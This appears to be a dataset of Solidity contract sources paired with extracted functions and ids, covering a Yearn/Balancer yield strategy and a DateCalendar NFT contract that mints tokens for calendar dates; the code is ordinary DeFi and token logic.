tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * Liquidate everything and returns the amount that got freed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. */ function liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei). * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. // If your implementation uses the cost of the call in want, you can // use uint256 callCost = ethToWant(callCostInWei); return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei). * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) { uint256 callCost = ethToWant(callCostInWei); StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding.sub(amountFreed); } else if (amountFreed > debtOutstanding) { profit = amountFreed.sub(debtOutstanding); } debtPayment = debtOutstanding.sub(loss); } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. uint256 totalDebt = vault.strategies(address(this)).totalDebt; debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); // call healthCheck contract if (doHealthCheck && healthCheck != address(0)) { require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck"); } else { doHealthCheck = true; } emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * The migration process should be carefully performed to make sure all * the assets are migrated to the new address, which should have never * interacted with the vault before. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault)); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyEmergencyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * ``` * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } * ``` */ function protectedTokens() internal view virtual returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } abstract contract BaseStrategyInitializable is BaseStrategy { bool public isOriginal = true; event Cloned(address indexed clone); constructor(address _vault) public BaseStrategy(_vault) {} function initialize( address _vault, address _strategist, address _rewards, address _keeper ) external virtual { _initialize(_vault, _strategist, _rewards, _keeper); } function clone(address _vault) external returns (address) { require(isOriginal, "!clone"); return this.clone(_vault, msg.sender, msg.sender, msg.sender); } function clone( address _vault, address _strategist, address _rewards, address _keeper ) external returns (address newStrategy) { // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone_code, 0x14), addressBytes) mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) newStrategy := create(0, clone_code, 0x37) } BaseStrategyInitializable(newStrategy).initialize(_vault, _strategist, _rewards, _keeper); emit Cloned(newStrategy); } } // File: ILiquidityGaugeFactory.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. interface ILiquidityGaugeFactory { /** * @notice Returns true if `gauge` was created by this factory. */ function isGaugeFromFactory(address gauge) external view returns (bool); /** * @notice Returns the address of the gauge belonging to `pool`. */ function getPoolGauge(address pool) external view returns (IStakingLiquidityGauge); } // File: Strategy.sol // Feel free to change the license, but this is what we use // Feel free to change this version of Solidity. We support >=0.6.0 <0.7.0; // These are the core Yearn libraries interface IName { function name() external view returns (string memory); } contract Strategy is BaseStrategy { using SafeERC20 for IERC20; using SafeMath for uint256; modifier isVaultManager { checkVaultManagers(); _; } function checkVaultManagers() internal { require(msg.sender == vault.governance() || msg.sender == vault.management()); } IBalancerVault public balancerVault; IBalancerPool public bpt; ILiquidityGaugeFactory public gaugeFactory; IStakingLiquidityGauge public gauge; IBalancerMinter public minter; IERC20[] public rewardTokens; IAsset[] internal assets; SwapSteps[] internal swapSteps; bytes32 public balancerPoolId; uint8 public numTokens; uint8 public tokenIndex; Toggles public toggles; address public keep; uint256 public keepBips; struct Toggles { bool doSellRewards; bool doClaimRewards; bool doCollectTradingFees; } struct SwapSteps { bytes32[] poolIds; IAsset[] assets; } uint256 internal constant max = type(uint256).max; //1 0.01% //5 0.05% //10 0.1% //50 0.5% //100 1% //1000 10% //10000 100% uint256 public maxSlippageIn; // bips uint256 public maxSlippageOut; // bips uint256 public maxSingleDeposit; uint256 public minDepositPeriod; // seconds uint256 public lastDepositTime; uint256 internal constant basisOne = 10000; IERC20 internal constant BAL = IERC20(0xba100000625a3754423978a60c9317c58a424e3D); constructor( address _vault, address _balancerVault, address _balancerPool, address _gaugeFactory, address _minter, uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod) public BaseStrategy(_vault){ _initializeStrat(_vault, _balancerVault, _balancerPool, _gaugeFactory, _minter, _maxSlippageIn, _maxSlippageOut, _maxSingleDeposit, _minDepositPeriod); } function initialize( address _vault, address _strategist, address _rewards, address _keeper, address _balancerVault, address _balancerPool, address _gaugeFactory, address _minter, uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod ) external { _initialize(_vault, _strategist, _rewards, _keeper); _initializeStrat(_vault, _balancerVault, _balancerPool, _gaugeFactory, _minter, _maxSlippageIn, _maxSlippageOut, _maxSingleDeposit, _minDepositPeriod); } function _initializeStrat( address _vault, address _balancerVault, address _balancerPool, address _gaugeFactory, address _minter, uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod) internal { // health.ychad.eth healthCheck = address(0xDDCea799fF1699e98EDF118e0629A974Df7DF012); bpt = IBalancerPool(_balancerPool); balancerPoolId = bpt.getPoolId(); balancerVault = IBalancerVault(_balancerVault); (IERC20[] memory tokens,,) = balancerVault.getPoolTokens(balancerPoolId); require(tokens.length > 0, "Empty Pool"); numTokens = uint8(tokens.length); assets = new IAsset[](numTokens); tokenIndex = type(uint8).max; for (uint8 i = 0; i < numTokens; i++) { if (tokens[i] == want) { tokenIndex = i; } assets[i] = IAsset(address(tokens[i])); } require(tokenIndex != type(uint8).max, "token not supported in pool!"); maxSlippageIn = _maxSlippageIn; maxSlippageOut = _maxSlippageOut; maxSingleDeposit = _maxSingleDeposit.mul(10 ** uint256(ERC20(address(want)).decimals())); minDepositPeriod = _minDepositPeriod; require(_gaugeFactory != address(0)); gaugeFactory = ILiquidityGaugeFactory(_gaugeFactory); gauge = IStakingLiquidityGauge(gaugeFactory.getPoolGauge(address(bpt))); minter = IBalancerMinter(_minter); require(address(gauge) != address(0)); require(address(gauge.lp_token()) == address(bpt)); want.safeApprove(address(balancerVault), max); IERC20(bpt).safeApprove(address(gauge), max); toggles = Toggles({doSellRewards : true, doClaimRewards : true, doCollectTradingFees : true}); keepBips = 1000; keep = governance(); } // ******** OVERRIDE THESE METHODS FROM BASE CONTRACT ************ function name() external view override returns (string memory) { return string(abi.encodePacked("SSBv3 ", ERC20(address(want)).symbol(), " ", bpt.symbol())); } function estimatedTotalAssets() public view override returns (uint256) { return balanceOfWant().add(balanceOfPooled()); } function prepareReturn(uint256 _debtOutstanding) internal override returns (uint256 _profit, uint256 _loss, uint256 _debtPayment){ if (_debtOutstanding > 0) { (_debtPayment, _loss) = liquidatePosition(_debtOutstanding); } uint256 beforeWant = balanceOfWant(); // 2 forms of profit. Incentivized rewards (BAL+other) and pool fees (want) if (toggles.doCollectTradingFees) { _collectTradingFees(); } // this would allow finer control over harvesting to get credits in without selling if (toggles.doClaimRewards) { _claimRewards(); } if (toggles.doSellRewards) { _sellRewards(); } uint256 afterWant = balanceOfWant(); _profit = afterWant.sub(beforeWant); if (_profit > _loss) { _profit = _profit.sub(_loss); _debtPayment = _debtPayment.add(_loss); _loss = 0; } else { _loss = _loss.sub(_profit); _debtPayment = _debtPayment.add(_profit); _profit = 0; } } function adjustPosition(uint256 _debtOutstanding) internal override { if (now.sub(lastDepositTime) < minDepositPeriod) { return; } uint256 amountIn = Math.min(maxSingleDeposit, balanceOfWant()); uint256 expectedBptOut = tokensToBpts(amountIn).mul(basisOne.sub(maxSlippageIn)).div(basisOne); uint256[] memory maxAmountsIn = new uint256[](numTokens); maxAmountsIn[tokenIndex] = amountIn; if (amountIn > 0) { bytes memory userData = abi.encode(IBalancerVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT, maxAmountsIn, expectedBptOut); IBalancerVault.JoinPoolRequest memory request = IBalancerVault.JoinPoolRequest(assets, maxAmountsIn, userData, false); balancerVault.joinPool(balancerPoolId, address(this), address(this), request); lastDepositTime = now; } uint256 _unstakedBpt = balanceOfUnstakedBpt(); if (_unstakedBpt > 0) { _stakeBpt(_unstakedBpt); } } // withdraws will realize losses if the pool is in bad conditions. This will heavily rely on _enforceSlippage to revert // and make sure we don't have to realize losses when not necessary function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss){ uint256 looseAmount = balanceOfWant(); if (_amountNeeded > looseAmount) { uint256 toExitAmount = tokensToBpts(_amountNeeded.sub(looseAmount)); uint256 _unstakedBpt = balanceOfUnstakedBpt(); if (toExitAmount > _unstakedBpt) { _unstakeBpt(toExitAmount.sub(_unstakedBpt)); } _sellBpt(toExitAmount); _liquidatedAmount = Math.min(balanceOfWant(), _amountNeeded); _loss = _amountNeeded.sub(_liquidatedAmount); } else { _liquidatedAmount = _amountNeeded; } require(_amountNeeded == _liquidatedAmount.add(_loss), "!sanitycheck"); } function liquidateAllPositions() internal override returns (uint256 liquidated) { _unstakeBpt(balanceOfStakedBpt()); _sellBpt(balanceOfUnstakedBpt()); liquidated = balanceOfWant(); return liquidated; } function prepareMigration(address _newStrategy) internal override { _unstakeBpt(balanceOfStakedBpt()); bpt.transfer(_newStrategy, balanceOfUnstakedBpt()); for (uint i = 0; i < rewardTokens.length; i++) { IERC20 token = rewardTokens[i]; uint256 balance = token.balanceOf(address(this)); if (balance > 0) { token.safeTransfer(_newStrategy, balance); } } } function protectedTokens() internal view override returns (address[] memory){} function ethToWant(uint256 _amtInWei) public view override returns (uint256){} function tendTrigger(uint256 callCostInWei) public view override returns (bool) { return now.sub(lastDepositTime) > minDepositPeriod && (balanceOfWant() > 0 || balanceOfUnstakedBpt() > 0); } // HELPERS // function claimAndSellRewards(bool _doSellRewards) external isVaultManager { _claimRewards(); if (_doSellRewards) { _sellRewards(); } } function _sellRewards() internal { for (uint8 i = 0; i < rewardTokens.length; i++) { uint256 amount = balanceOfReward(i); if (amount > 0) { uint length = swapSteps[i].poolIds.length; IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](length); int[] memory limits = new int[](length + 1); limits[0] = int(amount); for (uint j = 0; j < length; j++) { steps[j] = IBalancerVault.BatchSwapStep(swapSteps[i].poolIds[j], j, j + 1, j == 0 ? amount : 0, abi.encode(0) ); } balancerVault.batchSwap(IBalancerVault.SwapKind.GIVEN_IN, steps, swapSteps[i].assets, IBalancerVault.FundManagement(address(this), false, address(this), false), limits, now + 10); } } } // this assumes that BAL is always index 0. If not, we can delist then whitelist again to make it at 0 function _claimRewards() internal { for (uint i = 0; i < rewardTokens.length; i++) { IERC20 token = rewardTokens[i]; if (token == BAL) { uint256 balanceBefore = balanceOfReward(i); minter.mint(address(gauge)); uint256 keepAmount = balanceOfReward(i).sub(balanceBefore).mul(keepBips).div(basisOne); if (keepAmount > 0) { token.safeTransfer(keep, keepAmount); } } else { gauge.claim_rewards(address(this)); } } } function collectTradingFees() external isVaultManager { _collectTradingFees(); } function _collectTradingFees() internal { uint256 total = estimatedTotalAssets(); uint256 debt = vault.strategies(address(this)).totalDebt; if (total > debt) { uint256 profit = tokensToBpts(total.sub(debt)); uint256 _unstakedBpt = balanceOfUnstakedBpt(); if (profit > _unstakedBpt) { _unstakeBpt(profit.sub(_unstakedBpt)); _sellBpt(balanceOfUnstakedBpt()); } _sellBpt(Math.min(profit, balanceOfUnstakedBpt())); } } function balanceOfWant() public view returns (uint256 _amount){ return want.balanceOf(address(this)); } function balanceOfUnstakedBpt() public view returns (uint256 _amount){ return bpt.balanceOf(address(this)); } function balanceOfStakedBpt() public view returns (uint256 _amount){ return gauge.balanceOf(address(this)); } function balanceOfReward(uint256 index) public view returns (uint256 _amount){ return rewardTokens[index].balanceOf(address(this)); } // returns an estimate of want tokens based on bpt balance function balanceOfPooled() public view returns (uint256 _amount){ return bptsToTokens(balanceOfStakedBpt().add(balanceOfUnstakedBpt())); } /// use bpt rate to estimate equivalent amount of want. function bptsToTokens(uint _amountBpt) public view returns (uint _amount){ uint unscaled = _amountBpt.mul(bpt.getRate()).div(1e18); return _scaleDecimals(unscaled, ERC20(address(bpt)), ERC20(address(want))); } function tokensToBpts(uint _amountTokens) public view returns (uint _amount){ uint unscaled = _amountTokens.mul(1e18).div(bpt.getRate()); return _scaleDecimals(unscaled, ERC20(address(want)), ERC20(address(bpt))); } function _scaleDecimals(uint _amount, ERC20 _fromToken, ERC20 _toToken) internal view returns (uint _scaled){ uint decFrom = _fromToken.decimals(); uint decTo = _toToken.decimals(); return decTo > decFrom ? _amount.mul(10 ** (decTo.sub(decFrom))) : _amount.div(10 ** (decFrom.sub(decTo))); } function _getSwapRequest(IERC20 token, uint256 amount, uint256 lastChangeBlock) internal view returns (IBalancerPool.SwapRequest memory request){ return IBalancerPool.SwapRequest(IBalancerPool.SwapKind.GIVEN_IN, token, want, amount, balancerPoolId, lastChangeBlock, address(this), address(this), abi.encode(0) ); } function sellBpt(uint256 _amountBpts) external isVaultManager { _sellBpt(_amountBpts); } // sell bpt for want at current bpt rate function _sellBpt(uint256 _amountBpts) internal { _amountBpts = Math.min(_amountBpts, balanceOfUnstakedBpt()); if (_amountBpts > 0) { uint256[] memory minAmountsOut = new uint256[](numTokens); minAmountsOut[tokenIndex] = bptsToTokens(_amountBpts).mul(basisOne.sub(maxSlippageOut)).div(basisOne); bytes memory userData = abi.encode(IBalancerVault.ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, _amountBpts, tokenIndex); IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest(assets, minAmountsOut, userData, false); balancerVault.exitPool(balancerPoolId, address(this), address(this), request); } } // for partnership rewards like Lido or airdrops function whitelistRewards(address _rewardToken, SwapSteps memory _steps) public isVaultManager { IERC20 token = IERC20(_rewardToken); token.approve(address(balancerVault), max); rewardTokens.push(token); swapSteps.push(_steps); } function delistAllRewards() public isVaultManager { for (uint i = 0; i < rewardTokens.length; i++) { rewardTokens[i].approve(address(balancerVault), 0); } IERC20[] memory noRewardTokens; rewardTokens = noRewardTokens; delete swapSteps; } function numRewards() public view returns (uint256 _num){ return rewardTokens.length; } function setParams(uint256 _maxSlippageIn, uint256 _maxSlippageOut, uint256 _maxSingleDeposit, uint256 _minDepositPeriod) public isVaultManager { require(_maxSlippageIn <= basisOne, "maxSlippageIn too high"); maxSlippageIn = _maxSlippageIn; require(_maxSlippageOut <= basisOne, "maxSlippageOut too high"); maxSlippageOut = _maxSlippageOut; maxSingleDeposit = _maxSingleDeposit; minDepositPeriod = _minDepositPeriod; } function setToggles(bool _doSellRewards, bool _doClaimRewards, bool _doCollectTradingFees) external isVaultManager { toggles.doSellRewards = _doSellRewards; toggles.doClaimRewards = _doClaimRewards; toggles.doCollectTradingFees = _doCollectTradingFees; } function getSwapSteps() public view returns (SwapSteps[] memory){ return swapSteps; } function stakeBpt(uint256 _amount) external isVaultManager { _stakeBpt(_amount); } function _stakeBpt(uint256 _amount) internal { gauge.deposit(Math.min(balanceOfUnstakedBpt(), _amount), address(this)); } function unstakeBpt(uint256 _amount) external isVaultManager { _unstakeBpt(_amount); } function _unstakeBpt(uint256 _amount) internal { gauge.withdraw(Math.min(balanceOfStakedBpt(), _amount)); } function setKeepParams(address _keep, uint256 _keepBips) external onlyGovernance { require(keepBips <= basisOne); keep = _keep; keepBips = _keepBips; } // Balancer requires this contract to be payable, so we add ability to sweep stuck ETH function sweepETH() public onlyGovernance { (bool success,) = governance().call{value : address(this).balance}(""); require(success, "!FailedETHSweep"); } receive() external payable {} }
sell bpt for want at current bpt rate
function _sellBpt(uint256 _amountBpts) internal { _amountBpts = Math.min(_amountBpts, balanceOfUnstakedBpt()); if (_amountBpts > 0) { uint256[] memory minAmountsOut = new uint256[](numTokens); minAmountsOut[tokenIndex] = bptsToTokens(_amountBpts).mul(basisOne.sub(maxSlippageOut)).div(basisOne); bytes memory userData = abi.encode(IBalancerVault.ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, _amountBpts, tokenIndex); IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest(assets, minAmountsOut, userData, false); balancerVault.exitPool(balancerPoolId, address(this), address(this), request); } }
4,803,305
./full_match/5/0xd5f30AB7e693fc60333CE4A96b6E6C06a229B9d2/sources/project_/contracts/AbstractWasabiPool.sol
@inheritdoc IWasabiPool
function getLiquidityAddress() public view virtual returns(address) { return address(0); }
1,933,943
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; /** * @title DateCalendar contract * * @dev Extends ERC721 Non-Fungible Token Standard basic implementation. */ contract DateCalendar is ERC721, Ownable { /** * @dev Emitted when `dateTokenIndex` token's `GCalDate` proof has been * created and saved to the contract. This event will contain the * variables of the `GCalDate`, excluding `day_of_week`. */ event DateProof(uint8 indexed day, uint8 indexed month, int256 indexed year); using Strings for uint256; using SafeCast for uint256; // Base URI for the Date Calendar contract string private _baseDCURI; // Flag indicating whether future dates can be minted. bool public allowFutureDates; // Midpoint value of the Date Token Index (DTI) range uint256 private constant _dtiMidpoint = 7305000000000; /** * @dev A Julian Date (JD) is composed * of two pieces, the Julian Day Number (JDN) * and day fraction. * * @param `jdn` describes the number of solar days * between the given day and a fixed day in history starting * from 12:00 UT (noon). * @param `dayFraction` is between 0 and 1, *`dayFraction` should be interpreted as the * number after the decimal point. I.e. * 5 means 0.5. 51 mean 0.51. */ struct JulianDate { int256 jdn; uint16 dayFraction; } // Unix epoch date (1970-01-01) JD JulianDate private _unixEpochJD = JulianDate(2440587, 5); /** * @dev Representation of a Gregorian * calendar date. * * @param `day_of_week` from 0 to 6 indicating * the day of the week, with 0 being Sunday, * 1 being Monday, etc. * @param `day`: integer from 1 to 31 indicating the * day of the month. * @param `month` integer from 1 to 12 indicating the * month of the year. * @param `year` signed integer for the year. The year * before 1 is 0, and the year before 0 is -1, etc. * A year of 1 is 1 CE, a year of 0 is 1 BCE, * a year of -1 is 2 BCE, etc. */ struct GCalDate { uint8 day_of_week; uint8 day; uint8 month; int256 year; } // Mapping from DTI to Gregorian calendar date proof mapping(uint256 => GCalDate) private _dateProofs; /** * @dev Initialize the contract with a `name` and `symbol`. */ constructor(string memory name, string memory symbol, bool allowFutureDates_) ERC721(name, symbol) { allowFutureDates = allowFutureDates_; } /** * @dev Set the base URI for the contract. Token URIs are derived from this base. */ function setBaseURI(string memory baseURI) public onlyOwner { _baseDCURI = baseURI; } function _baseURI() internal view override returns (string memory) { return _baseDCURI; } /** * @dev Retrieve the Gregorian calendar date proof of a date token index. */ function proofOf(uint256 dateTokenIndex) public view returns (GCalDate memory) { require(_exists(dateTokenIndex), "DateCalendar: date proof query for nonexistent token"); return _dateProofs[dateTokenIndex]; } /** * @dev Returns the number of days since the Unix epoch (1970-01-01). */ function _daysFromUnixEpoch() private view returns (uint256) { return block.timestamp / 1 days; } /** * @dev Determines the JD of the current block. */ function currentBlockJD() public view returns (JulianDate memory) { int256 unixDelta = int256(_daysFromUnixEpoch()); return JulianDate(_unixEpochJD.jdn + unixDelta, 5); } /** * @dev Convert a Date Token Index to a Julian Date. */ function _dtiToJD(uint256 dateTokenIndex) private pure returns (JulianDate memory) { int256 jdn = int256(dateTokenIndex) - int256(_dtiMidpoint); return JulianDate(jdn, 5); } /** * @dev Determines whether a JD has been released. */ function _isReleased(JulianDate memory julianDate) private view returns (bool) { if (allowFutureDates) { return true; } JulianDate memory currentJD = currentBlockJD(); return julianDate.jdn <= currentJD.jdn; } /** * @dev Mint a date calendar token. */ function mintDate(uint256 dateTokenIndex) public { JulianDate memory jd = _dtiToJD(dateTokenIndex); require(_isReleased(jd), "DateCalendar: date has not yet been released."); _safeMint(msg.sender, dateTokenIndex); _setDateProof(dateTokenIndex, jd); } /** * @dev Save the Gregorian calendar date proof for a given date token index. */ function _setDateProof(uint256 dateTokenIndex, JulianDate memory julianDate) private { (uint8 dow, uint8 d, uint8 m, int256 y) = _jdToGCalDateVariables(julianDate); GCalDate storage date = _dateProofs[dateTokenIndex]; date.day_of_week = dow; date.day = d; date.month = m; date.year = y; emit DateProof(d, m, y); } uint16[12] private _toGCalDateHelper = [0, 31, 61, 92, 122, 153, 184, 214, 245, 275, 306, 337]; /** * @dev Calculate the variables of a Gregorian calendar date from a JD. * * References * [1] P. Baum, "Date Algorithms", 2020. * [2] J. Meeus, "Astronomical Algorithms", pp. 65, 1998. */ function _jdToGCalDateVariables(JulianDate memory julianDate) private view returns (uint8, uint8, uint8, int256) { uint8 dow = _jdToDOW(julianDate); (uint8 d, uint8 m, int256 y) = _jdToDMY(julianDate); return (dow, d, m, y); } function _jdToDMY(JulianDate memory julianDate) private view returns (uint8, uint8, int256) { int256 z = julianDate.jdn - 1721118; int256 a_ = z * 100 - 25; int256 a = _divideAndFloor(a_, 3652425); int256 p1_ = _divideAndFloor(a, 4); int256 y_ = z * 100 - 25 + a * 100 - p1_ * 100; int256 y = _divideAndFloor(y_, 36525); int256 p2_ = _divideAndFloor(36525 * y, 100); 